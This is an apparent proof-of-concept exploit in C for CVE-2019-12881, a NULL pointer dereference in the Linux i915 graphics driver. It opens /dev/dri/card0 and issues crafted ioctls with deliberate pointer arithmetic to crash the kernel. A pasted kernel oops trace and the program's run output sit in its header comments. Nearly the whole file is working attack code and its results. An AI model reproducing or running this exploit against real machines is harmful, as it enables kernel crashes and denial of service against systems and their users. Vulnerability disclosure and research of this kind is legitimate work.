/* */ /* gcc drm_i915_ktsploit.c -o kt -ldrm -I/usr/include/libdrm */ /* exploit by oxagast */ /* */ /* */ /* __ _ _ __ ___ __ ____ ____ */ /* / ( \/ )/ _\ / __)/ _\/ ___(_ _) */ /* ( O ) (/ ( (_ / \___ \ )( */ /* \__(_/\_\_/\_/\___\_/\_(____/(__) */ /* */ /* CVE-2019-12881 */ /* oxagast@oxasploits.com */ //Jun 17 01:22:05 likon kernel: [ 1788.600973] BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 //Jun 17 01:22:05 likon kernel: [ 1788.600982] IP: __sg_alloc_table_from_pages+0xe4/0x1f0 //Jun 17 01:22:05 likon kernel: [ 1788.600984] PGD 0 P4D 0 //Jun 17 01:22:05 likon kernel: [ 1788.600987] Oops: 0000 [#3] SMP PTI //Jun 17 01:22:05 likon kernel: [ 1788.600988] Modules linked in: rfcomm appletalk ipx p8023 psnap p8022 llc pci_stub vboxpci(OE) vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) snd_hrtimer ccm cmac bnep binfmt_misc arc4 iwlmvm mac80211 hid_multitouch hid_sensor_magn_3d hid_sensor_accel_3d hid_sensor_rotation hid_sensor_incl_3d hid_sensor_als ir_lirc_codec lirc_dev hid_sensor_gyro_3d rtl2832_sdr hid_sensor_trigger industrialio_triggered_buffer kfifo_buf r820t btusb hid_sensor_iio_common btrtl industrialio btbcm rtl2832 intel_rapl i2c_mux uvcvideo x86_pkg_temp_thermal intel_powerclamp coretemp dvb_usb_rtl28xxu dvb_usb_v2 videobuf2_vmalloc kvm_intel snd_soc_skl btintel videobuf2_memops dvb_core bluetooth kvm snd_soc_skl_ipc videobuf2_v4l2 videobuf2_core videodev snd_hda_ext_core rc_core media snd_soc_sst_dsp snd_soc_sst_ipc snd_soc_acpi iwlwifi //Jun 17 01:22:05 likon kernel: [ 1788.601024] cfg80211 snd_soc_core snd_hda_codec_hdmi irqbypass ecdh_generic dell_laptop snd_compress ac97_bus dell_smm_hwmon snd_hda_codec_conexant snd_hda_codec_generic snd_pcm_dmaengine intel_cstate dell_wmi dell_smbios intel_rapl_perf snd_hda_intel snd_hda_codec snd_hda_core dcdbas snd_hwdep joydev input_leds intel_hid serio_raw wmi_bmof dell_wmi_descriptor snd_pcm intel_vbtn sparse_keymap snd_seq_midi snd_seq_midi_event int3403_thermal mei_me snd_rawmidi shpchp snd_seq snd_seq_device snd_timer mac_hid idma64 virt_dma intel_lpss_pci snd mei processor_thermal_device int3400_thermal intel_lpss acpi_thermal_rel intel_soc_dts_iosf acpi_pad int3402_thermal soundcore int340x_thermal_zone sch_fq_codel nfsd auth_rpcgss nfs_acl lockd grace sunrpc parport_pc ppdev lp parport ip_tables x_tables autofs4 //Jun 17 01:22:05 likon kernel: [ 1788.601057] algif_skcipher af_alg dm_crypt hid_sensor_custom wacom hid_sensor_hub hid_generic usbhid crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc i915 aesni_intel aes_x86_64 crypto_simd glue_helper cryptd i2c_algo_bit drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops ahci drm libahci wmi i2c_hid hid video pinctrl_sunrisepoint //Jun 17 01:22:05 likon kernel: [ 1788.601084] CPU: 3 PID: 4513 Comm: drm_i915_ktsplo Tainted: G D OE 4.15.0-51-generic #55-Ubuntu //Jun 17 01:22:05 likon kernel: [ 1788.601086] Hardware name: Dell Inc. Inspiron 15-7568/0KMNV6, BIOS 01.10.00 07/27/2016 //Jun 17 01:22:05 likon kernel: [ 1788.601090] RIP: 0010:__sg_alloc_table_from_pages+0xe4/0x1f0 //Jun 17 01:22:05 likon kernel: [ 1788.601092] RSP: 0018:ffffbb0403c6fbe0 EFLAGS: 00010297 //Jun 17 01:22:05 likon kernel: [ 1788.601095] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000001 //Jun 17 01:22:05 likon kernel: [ 1788.601096] RDX: 0000000000000002 RSI: 0000000000000000 RDI: ffff9a8433aa6a80 //Jun 17 01:22:05 likon kernel: [ 1788.601097] RBP: ffffbb0403c6fc20 R08: ffff9a8433aa6a60 R09: ffff9a8433aa6a60 //Jun 17 01:22:05 likon kernel: [ 1788.601099] R10: 0000000000000000 R11: ffff9a8433aa6a60 R12: 0000000000000010 //Jun 17 01:22:05 likon kernel: [ 1788.601100] R13: 0000000000000000 R14: 0000000004000000 R15: 0000000000000000 //Jun 17 01:22:05 likon kernel: [ 1788.601102] FS: 00007f913e9a54c0(0000) GS:ffff9a848f580000(0000) knlGS:0000000000000000 //Jun 17 01:22:05 likon kernel: [ 1788.601103] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 //Jun 17 01:22:05 likon kernel: [ 1788.601105] CR2: 0000000000000010 CR3: 0000000192690004 CR4: 00000000003606e0 //Jun 17 01:22:05 likon kernel: [ 1788.601106] Call Trace: //Jun 17 01:22:05 likon kernel: [ 1788.601158] __i915_gem_userptr_alloc_pages+0xb8/0x140 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601179] i915_gem_userptr_get_pages+0x110/0x1d0 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601195] ____i915_gem_object_get_pages+0x22/0x50 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601210] __i915_gem_object_get_pages+0x5b/0x70 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601225] i915_gem_set_domain_ioctl+0x1d0/0x250 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601240] ? i915_gem_obj_prepare_shmem_write+0x150/0x150 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601260] drm_ioctl_kernel+0x5f/0xb0 [drm] //Jun 17 01:22:05 likon kernel: [ 1788.601267] drm_ioctl+0x38e/0x460 [drm] //Jun 17 01:22:05 likon kernel: [ 1788.601283] ? i915_gem_obj_prepare_shmem_write+0x150/0x150 [i915] //Jun 17 01:22:05 likon kernel: [ 1788.601287] ? __wake_up+0x13/0x20 //Jun 17 01:22:05 likon kernel: [ 1788.601290] do_vfs_ioctl+0xa8/0x630 //Jun 17 01:22:05 likon kernel: [ 1788.601293] ? vfs_write+0x166/0x1a0 //Jun 17 01:22:05 likon kernel: [ 1788.601295] SyS_ioctl+0x79/0x90 //Jun 17 01:22:05 likon kernel: [ 1788.601298] do_syscall_64+0x73/0x130 //Jun 17 01:22:05 likon kernel: [ 1788.601302] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 //Jun 17 01:22:05 likon kernel: [ 1788.601304] RIP: 0033:0x7f913e4cf5d7 //Jun 17 01:22:05 likon kernel: [ 1788.601305] RSP: 002b:00007ffed26b8b28 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 //Jun 17 01:22:05 likon kernel: [ 1788.601307] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f913e4cf5d7 //Jun 17 01:22:05 likon kernel: [ 1788.601308] RDX: 00007ffed26b8578 RSI: 00000000c0085e5f RDI: 0000000000000003 //Jun 17 01:22:05 likon kernel: [ 1788.601310] RBP: 00007ffed26b8c00 R08: 000000000000006e R09: 0000000000000010 //Jun 17 01:22:05 likon kernel: [ 1788.601311] R10: 00000000fffffff0 R11: 0000000000000286 R12: 000055e296fcc6a0 //Jun 17 01:22:05 likon kernel: [ 1788.601312] R13: 00007ffed26b8ce0 R14: 0000000000000000 R15: 0000000000000000 //Jun 17 01:22:05 likon kernel: [ 1788.601314] Code: c4 0f 85 66 ff ff ff 4d 8b 1f c7 45 d0 00 00 00 00 45 31 ff 48 8b 45 c8 8b 75 d0 3b 70 0c 0f 83 49 ff ff ff 41 8d 4f 01 44 89 f8 <4d> 8b 14 c4 39 cb 0f 86 ea 00 00 00 41 81 fe 00 10 00 00 0f 86 //Jun 17 01:22:05 likon kernel: [ 1788.601342] RIP: __sg_alloc_table_from_pages+0xe4/0x1f0 RSP: ffffbb0403c6fbe0 //Jun 17 01:22:05 likon kernel: [ 1788.601343] CR2: 0000000000000010 //Jun 17 01:22:05 likon kernel: [ 1788.601346] ---[ end trace 27c6ed3488ecb7ea ]--- // // // $ ./drm_i915_ktsploit // drm_i915_ktsploit: ret: 32638 for cmd: 5e 73 on fd: 3 arg: 0x7ffd258abb30 (error: Success) // drm_i915_ktsploit: ret: 0 for cmd: 5e 5e on fd: 3 arg: 0x7ffd258abfb0 (error: Success) // drm_i915_ktsploit: ret: -1 for cmd: 5e 5f on fd: 3 arg: 0x7ffd258abfb0 (error: Invalid argument) // Killed // https://oxasploits.com/posts/exploit-archive-partial-disclosure/ #include "stdio.h" #include <stdlib.h> #include <inttypes.h> #include <drm/drm.h> #include <drm/i915_drm.h> #include <assert.h> #include <ctype.h> #include <stdbool.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <xf86drm.h> #include <sys/ioctl.h> int loader_open_device(const char *device_name) { int fd; // initialize file descriptor #ifdef O_CLOEXEC fd = open(device_name, O_RDWR | O_CLOEXEC); /* get the i915 fd */ if (fd == -1 && errno == EINVAL) #endif { fd = open(device_name, O_RDWR); /* get the i915 fd */ if (fd != -1) fcntl(fd, F_SETFD, fcntl(fd, F_GETFD) | FD_CLOEXEC); } return (fd); /* return it */ } int main() { struct drm_i915_gem_exec_object2 exec = {}; /* init one of the objects to reference */ int *ptr = (void*) &exec; /* references the object */ struct drm_i915_gem_execbuffer2 execbuf = { /* learned this trick from deadkode [REDACTED, NSFW] */ .buffers_ptr = *ptr, .buffer_count = 1, .flags = 12, .rsvd1 = 0, }; /* for eb pointer */ unsigned long int *eb = (void*) &execbuf; /* eb pointer to a reference in kernel mem */ unsigned long int *backeb = eb - 0x68; /* do some dirty pointer math to get the first address */ int fd, ret; /* file descriptor and return */ /* ar 0x5f 0x73 0xd5 and cmd 0x5e */ fd = loader_open_device("/dev/dri/card0"); /* the device to open */ int cmd = 0x5e; /* cmd to pass */ int ar [] = {0x5f, 0x73, 0x5e}; /* args to pass */ fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[1], fd, backeb); ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[1], sizeof(backeb)), backeb); /* pass 0x73 as arg */ backeb+=0x90; /* jump 144 forward (40 from *eb) */ fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[2], fd, backeb); ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[2], sizeof(backeb)), backeb); /* pass 0x5e as arg */ fprintf(stderr, "drm_i915_ktsploit: ret: %d for cmd: %.2x %.2x on fd: %d arg: %p (error: %m)\n", ret, cmd, ar[0], fd, backeb); ret = ioctl(fd, _IOC(_IOC_READ|_IOC_WRITE, cmd, ar[0], sizeof(backeb)), backeb); /* pass 0x5f as arg */ /* kernel should kill program before this point!! */ return(0); /* if you want to get down... down on the ground... cocaine. */ }